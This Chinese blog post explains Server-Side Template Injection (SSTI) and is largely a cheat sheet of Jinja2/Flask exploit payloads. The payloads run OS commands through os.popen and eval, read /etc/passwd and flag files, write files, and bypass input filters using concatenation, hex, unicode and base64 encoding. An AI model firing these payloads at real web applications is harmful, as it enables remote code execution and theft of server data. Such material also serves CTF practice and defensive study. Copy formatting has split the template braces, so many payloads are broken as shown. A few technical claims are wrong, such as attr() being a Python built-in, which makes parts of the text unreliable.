[网络安全]一文带你了解SSTI漏洞


读者可参考、订阅网络安全专栏:网络安全:攻防兼备 | 秋说的博客


什么是SSTI

SSTI(Server-Side Template Injection)是一种服务器端模板注入漏洞,它出现在使用模板引擎的Web应用程序中。模板引擎是一种将动态数据与静态模板结合生成最终输出的工具。然而,如果在构建模板时未正确处理用户输入,就可能导致SSTI漏洞的产生。

sql注入的成因是:当后端脚本语言进行数据库查询时,可以构造输入语句来进行拼接,从而实现恶意sql查询。

SSTI与其相似,服务端将输入作为web应用模板内容的一部分,在进行目标编译渲染的过程中,拼接了恶意语句,因此造成敏感信息泄露、远程命令执行等问题。


SSTI类型有哪些

在PHP、Java和Python这三种常用的编程语言中,都有一些流行的模板引擎。

PHP:

  1. Smarty:Smarty是PHP语言中广泛使用的模板引擎,它提供了强大的模板分离和逻辑控制功能。

  2. Twig:Twig是一个现代化的PHP模板引擎,被广泛用于Symfony框架等PHP应用程序中。

  3. Blade:Blade是Laravel框架的默认模板引擎,它提供了简洁的语法和强大的模板继承特性。

Java:

  1. Thymeleaf:Thymeleaf是一种现代化的Java服务器端模板引擎,广泛应用于Spring框架等Java Web应用。

  2. FreeMarker:FreeMarker是Java语言中流行的模板引擎,具有灵活的语法和强大的自定义标签功能。

  3. Mustache:Mustache是一种简单而功能强大的模板语言,支持多种编程语言,包括Java。

Python:

  1. Jinja2:Jinja2是Python语言中广泛使用的模板引擎,被许多Web框架(如Flask和Django)所采用。

  2. Mako:Mako是另一个在Python中常用的模板引擎,它具有简单易用的语法和高性能的特点。

  3. Django模板引擎:针对Django框架而言,它自带了一个强大的模板引擎,为开发人员提供了丰富的模板标签和过滤器。

我们该如何判断模板引擎的类型呢?

简要来说依靠这张图即可:

在这里插入图片描述

常用类及过滤器

类的利用

有些模板引擎提供了一些内置类和方法,可以在模板中使用。

假设我们使用的是Jinja2模板引擎,并且有一个自定义的User类,包含nameage属性。我们可以在模板中创建一个User对象,并访问其属性。

from jinja2 import Template

class User:
    def __init__(self, name, age):
        self.name = name
        self.age = age

template_string = '''
Name: {
    
    { user.name }}
Age: {
    
    { user.age }}
'''

template = Template(template_string)
user = User('Alice', 25)
rendered_output = template.render(user=user)

print(rendered_output)

在上面的例子中,我们在模板中创建了一个user对象,并通过{ { user.name }}{ { user.age }}的方式在模板中访问了该对象的属性。

最终输出的结果是:

Name: Alice
Age: 25

常用类:

__class__:表示实例对象所属的类。

__base__:类型对象的直接基类。

__bases__:类型对象的全部基类(以元组形式返回),通常实例对象没有此属性。

__mro__:一个由类组成的元组,在方法解析期间用于查找基类。

__subclasses__():返回该类的所有子类的列表。每个类都保留对其直接子类的弱引用。此方法返回仍然存在的所有这些引用的列表,并按定义顺序排序。

__init__:初始化类的构造函数,返回类型为function的方法。

__globals__:通过函数名.__globals__获取函数所在命名空间中可用的模块、方法和所有变量。

__dict__:包含类的静态函数、类函数、普通函数、全局变量以及一些内置属性的字典。

__getattribute__():存在于实例、类和函数中的__getattribute__魔术方法。实际上,当针对实例化的对象进行点操作(例如:a.xxx / a.xxx())时,都会自动调用__getattribute__方法。因此,我们可以通过这个方法直接访问实例、类和函数的属性。

__getitem__():调用字典中的键值,实际上是调用此魔术方法。例如,a['b'] 就是 a.__getitem__('b')。

__builtins__:内建名称空间,包含一些常用的内建函数。__builtins__与__builtin__的区别可以通过搜索引擎进一步了解。

__import__:动态加载类和函数,也可用于导入模块。常用于导入os模块,例如__import__('os').popen('ls').read()__str__():返回描述该对象的字符串,通常用于打印输出。

url_for:Flask框架中的一个方法,可用于获取__builtins__,且url_for.__globals__['__builtins__']包含current_app。

get_flashed_messages:Flask框架中的一个方法,可用于获取__builtins__,且get_flashed_messages.__globals__['__builtins__']包含current_app。

lipsum:Flask框架中的一个方法,可用于获取__builtins__,且lipsum.__globals__包含os模块(例如:{
    
    {
    
    lipsum.__globals__['os'].popen('ls').read()}})。

current_app:应用上下文的全局变量。

request:用于获取绕过字符串的参数,包括以下内容:

- request.args.x1:GET请求中的参数。
- request.values.x1:所有参数。
- request.cookies:cookies参数。
- request.headers:请求头参数。
- request.form.x1:POST请求中的表单参数(Content-Type为application/x-www-form-urlencoded或multipart/form-data)。
- request.data:POST请求中的数据(Content-Type为a/b)。
- request.json:POST请求中的JSON数据(Content-Type为application/json)。

config:当前应用的所有配置。还可以使用{
    
    {
    
     config.__class__.__init__.__globals__['os'].popen('ls').read() }}来执行操作系统命令。

g:通过{
    
    {
    
     g }}可以获取<flask.g of 'flask_ssti'>

语法示例:
(1)__class__用来查看变量所属的类,格式为变量.__class__

利用方式:

输入''.__class__
回显<class 'str'>

输入().__class__
回显<class 'tuple'>

输入{
    
    }.__class__
回显<class 'dict'>

输入[].__class__
回显<class 'list'>

(2)__bases__用来查看类的基类,格式为变量.__class__.__bases__

利用方式:

输入''.__class__.__bases__
回显(<class 'object'>,)

输入().__class__.__bases__
回显(<class 'object'>,)

输入{
    
    }.__class__.__bases__
回显(<class 'object'>,)

输入[].__class__.__bases__
回显(<class 'object'>,)

同时可结合数组,如:
输入 变量.__class__.__bases__[0]
可获得第一个基类


过滤器:
在SSTI(Server-Side Template Injection)中,过滤器可以用于对变量进行处理和转换。

int():将值转换为整数类型;

float():将值转换为浮点数类型;

lower():将字符串转换为小写形式;

upper():将字符串转换为大写形式;

title():将字符串中每个单词的首字母转换为大写;

capitalize():将字符串的第一个字母转换为大写,其他字母转换为小写;

strip():删除字符串开头和结尾的空白字符;

wordcount():计算字符串中的单词数量;

reverse():反转字符串;

replace():替换字符串中的指定子串;

truncate():截取字符串的指定长度;

striptags():删除字符串中的所有HTML标签;

escape()或e:转义字符串中的特殊字符;

safe():禁用HTML转义;

list():将字符串转换为列表;

string():将其他类型的值转换为字符串;

join():将序列中的元素拼接成字符串;

abs():返回数值的绝对值;

first():返回序列的第一个元素;

last():返回序列的最后一个元素;

format():格式化字符串;

length():返回字符串的长度;

sum():返回列表中所有数值的和;

sort():排序列表中的元素;

default():在变量没有值的情况下使用默认值。

strip():删除字符串开头和结尾的指定字符,默认删除空白字符。

startswith(prefix):判断字符串是否以指定前缀开头。

endswith(suffix):判断字符串是否以指定后缀结尾。

isalpha():判断字符串是否只包含字母字符。

isdigit():判断字符串是否只包含数字字符。

isalnum():判断字符串是否只包含字母和数字字符。

isspace():判断字符串是否只包含空白字符。

split(separator):将字符串按指定分隔符分割成列表。

join(iterable):使用指定字符连接序列中的元素。

count(substring):统计字符串中子串出现的次数。

find(substring):查找子串第一次出现的位置,若不存在则返回-1replace(old, new):替换字符串中的指定子串。

islower():判断字符串是否全为小写字母。

isupper():判断字符串是否全为大写字母。

isdigit():判断字符串是否只包含数字。

isnumeric():判断字符串是否只包含数字字符。

isdecimal():判断字符串是否只包含十进制数字字符。

isidentifier():判断字符串是否是合法的标识符。

isprintable():判断字符串是否只包含可打印字符。

encode(encoding):使用指定的编码对字符串进行编码。

decode(encoding):使用指定的编码对字符串进行解码。

示例:

假设我们有一个模板引擎,它接受一个名为user_input的输入,并将其渲染到模板中。我们可以使用过滤器来对user_input进行处理。

from jinja2 import Template

input_string = '{
    
    { user_input|lower|capitalize }}'
template = Template(input_string)

user_input = 'hello world'
rendered_output = template.render(user_input=user_input)

print(rendered_output)

在上面的例子中,我们使用了两个过滤器:lowercapitalize。首先,lower过滤器将user_input转换为小写形式,然后capitalize过滤器将结果中的第一个字母转换为大写。最终输出的结果是Hello world


攻击思路

确定模板引擎、利用模板的内置方法进行rce和getshell


常用payload

无过滤情况

#读取文件类,<type ‘file’> file位置一般为40,直接调用
{
    
    {
    
    [].__class__.__base__.__subclasses__()[40]('flag').read()}} 
{
    
    {
    
    [].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').read()}}
{
    
    {
    
    [].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').readlines()}}
{
    
    {
    
    [].__class__.__base__.__subclasses__()[257]('flag').read()}} (python3)


#直接使用popen命令,python2是非法的,只限于python3
os._wrap_close 类里有popen
{
    
    {
    
    "".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
{
    
    {
    
    "".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()}}


#调用os的popen执行命令
#python2、python3通用
{
    
    {
    
    [].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
{
    
    {
    
    [].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls /flag').read()}}
{
    
    {
    
    [].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('cat /flag').read()}}
{
    
    {
    
    ''.__class__.__base__.__subclasses__()[185].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}}
{
    
    {
    
    "".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
{
    
    {
    
    "".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}}
{
    
    {
    
    "".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()}}
#python3专属
{
    
    {
    
    "".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}
{
    
    {
    
    ''.__class__.__base__.__subclasses__()[128].__init__.__globals__['os'].popen('ls /').read()}}


#调用eval函数读取
#python2
{
    
    {
    
    [].__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}} 
{
    
    {
    
    "".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{
    
    {
    
    "".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{
    
    {
    
    "".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')}}
#python3
{
    
    {
    
    ().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}} 
{
    
    {
    
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']}}
{
    
    {
    
    "".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']}}
{
    
    {
    
    "".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")}}
{
    
    {
    
    "".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")}}
{
    
    {
    
    ''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}


#调用 importlib类
{
    
    {
    
    ''.__class__.__base__.__subclasses__()[128]["load_module"]("os")["popen"]("ls /").read()}}


#调用linecache函数
{
    
    {
    
    ''.__class__.__base__.__subclasses__()[128].__init__.__globals__['linecache']['os'].popen('ls /').read()}}
{
    
    {
    
    [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache']['os'].popen('ls').read()}}
{
    
    {
    
    [].__class__.__base__.__subclasses__()[168].__init__.__globals__.linecache.os.popen('ls /').read()}}


#调用communicate()函数
{
    
    {
    
    ''.__class__.__base__.__subclasses__()[128]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}


#写文件
写文件的话就直接把上面的构造里的read()换成write()即可,下面举例利用file类将数据写入文件。
{
    
    {
    
    "".__class__.__bases__[0].__bases__[0].__subclasses__()[40]('/tmp').write('test')}}  ----python2的str类型不直接从属于基类,所以payload中含有两个 .__bases__
{
    
    {
    
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').write('123456')}}


#通用 getshell
原理:找到含有 __builtins__ 的类,利用即可。
{
    
    % for c in [].__class__.__base__.__subclasses__() %}{
    
    % if c.__name__=='catch_warnings' %}{
    
    {
    
     c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{
    
    % endif %}{
    
    % endfor %}
{
    
    % for c in [].__class__.__base__.__subclasses__() %}{
    
    % if c.__name__=='catch_warnings' %}{
    
    {
    
     c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{
    
    % endif %}{
    
    % endfor %}

有过滤情况

绕过.

  1. 使用中括号[]绕过
{
    
    {
    
    ().__class__}} 
可替换为:
{
    
    {
    
    ()["__class__"]}}

举例:
{
    
    {
    
    ()['__class__']['__base__']['__subclasses__']()[433]['__init__']['__globals__']['popen']('whoami')['read']()}}
  1. 使用attr()绕过

attr()函数是Python内置函数之一,用于获取对象的属性值或设置属性值。它可以用于任何具有属性的对象,例如类实例、模块、函数等。

{
    
    {
    
    ().__class__}} 
可替换为:
{
    
    {
    
    ()|attr("__class__")}}
{
    
    {
    
    getattr('',"__class__")}}

举例:
{
    
    {
    
    ()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(65)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}}

绕过单双引号

  1. request绕过
{
    
    {
    
    ().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd    
#分析:
request.args 是flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤。
若args被过滤了,还可以使用values来接受GET或者POST参数。

其它例子:
{
    
    {
    
    ().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.cookies.arg1](request.cookies.arg2).read()}}
Cookie:arg1=open;arg2=/etc/passwd

{
    
    {
    
    ().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}}
post:arg1=open&arg2=/etc/passwd
  1. chr绕过
{
    
    % set chr=().__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.chr%}{
    
    {
    
    ''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__(chr(111)%2Bchr(115)).popen(chr(119)%2Bchr(104)%2Bchr(111)%2Bchr(97)%2Bchr(109)%2Bchr(105)).read()}}

注意:使用GET请求时,+号需要url编码,否则会被当作空格处理。

绕过关键字

  1. 使用切片将逆置的关键字顺序输出,进而达到绕过。
""["__cla""ss__"]
"".__getattribute__("__cla""ss__")
反转
""["__ssalc__"][::-1]
"".__getattribute__("__ssalc__"[::-1])
  1. 利用"+"进行字符串拼接,绕过关键字过滤。
{
    
    {
    
    ()['__cla'+'ss__'].__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['ev'+'al']("__im"+"port__('o'+'s').po""pen('whoami').read()")}}
  1. join拼接

利用join()函数绕过关键字过滤

{
    
    {
    
    [].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()}}
  1. 利用引号绕过
{
    
    {
    
    [].__class__.__base__.__subclasses__()[40]("/fl""ag").read()}}
  1. 使用str原生函数replace替换

将额外的字符拼接进原本的关键字里面,然后利用replace函数将其替换为空。

{
    
    {
    
    ().__getattribute__('__claAss__'.replace("A","")).__bases__[0].__subclasses__()[376].__init__.__globals__['popen']('whoami').read()}}
  1. ascii转换

将每一个字符都转换为ascii值后再拼接在一起。

"{0:c}".format(97)='a'
"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'
  1. 16进制编码绕过
"__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"

例子:
{
    
    {
    
    ''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('os').popen('whoami').read()}}

同理,也可使用八进制编码绕过

  1. base64编码绕过

对于python2,可利用base64进行绕过,对于python3没有decode方法,不能使用该方法进行绕过。

"__class__"==("X19jbGFzc19f").decode("base64")

例子:
{
    
    {
    
    ().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}}
等价于
{
    
    {
    
    ().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
  1. unicode编码绕过
{
    
    %print((((lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u0067\u0065\u0074")("os"))|attr("\u0070\u006f\u0070\u0065\u006e")("\u0074\u0061\u0063\u0020\u002f\u0066\u002a"))|attr("\u0072\u0065\u0061\u0064")())%}
lipsum.__globals__['os'].popen('tac /f*').read()
  1. Hex编码绕过
{
    
    {
    
    ().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}}

{
    
    {
    
    ().__class__.__base__.__subclasses__()[77].__init__.__globals__['\x6f\x73'].popen('\x6c\x73\x20\x2f').read()}}
等价于
{
    
    {
    
    ().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

{
    
    {
    
    ().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}

绕过init

可以用__enter____exit__替代__init__

{
    
    ().__class__.__bases__[0].__subclasses__()[213].__enter__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
 
{
    
    {
    
    ().__class__.__bases__[0].__subclasses__()[213].__exit__.__globals__['__builtins__']['open']('/etc/passwd').read()}}

总结

以上为SSTI漏洞相关知识点详析,通过详细的步骤和清晰的说明,分享一些实际案例和最佳实践。

我是秋说,我们下次见。

猜你喜欢

转载自blog.csdn.net/2301_77485708/article/details/132467976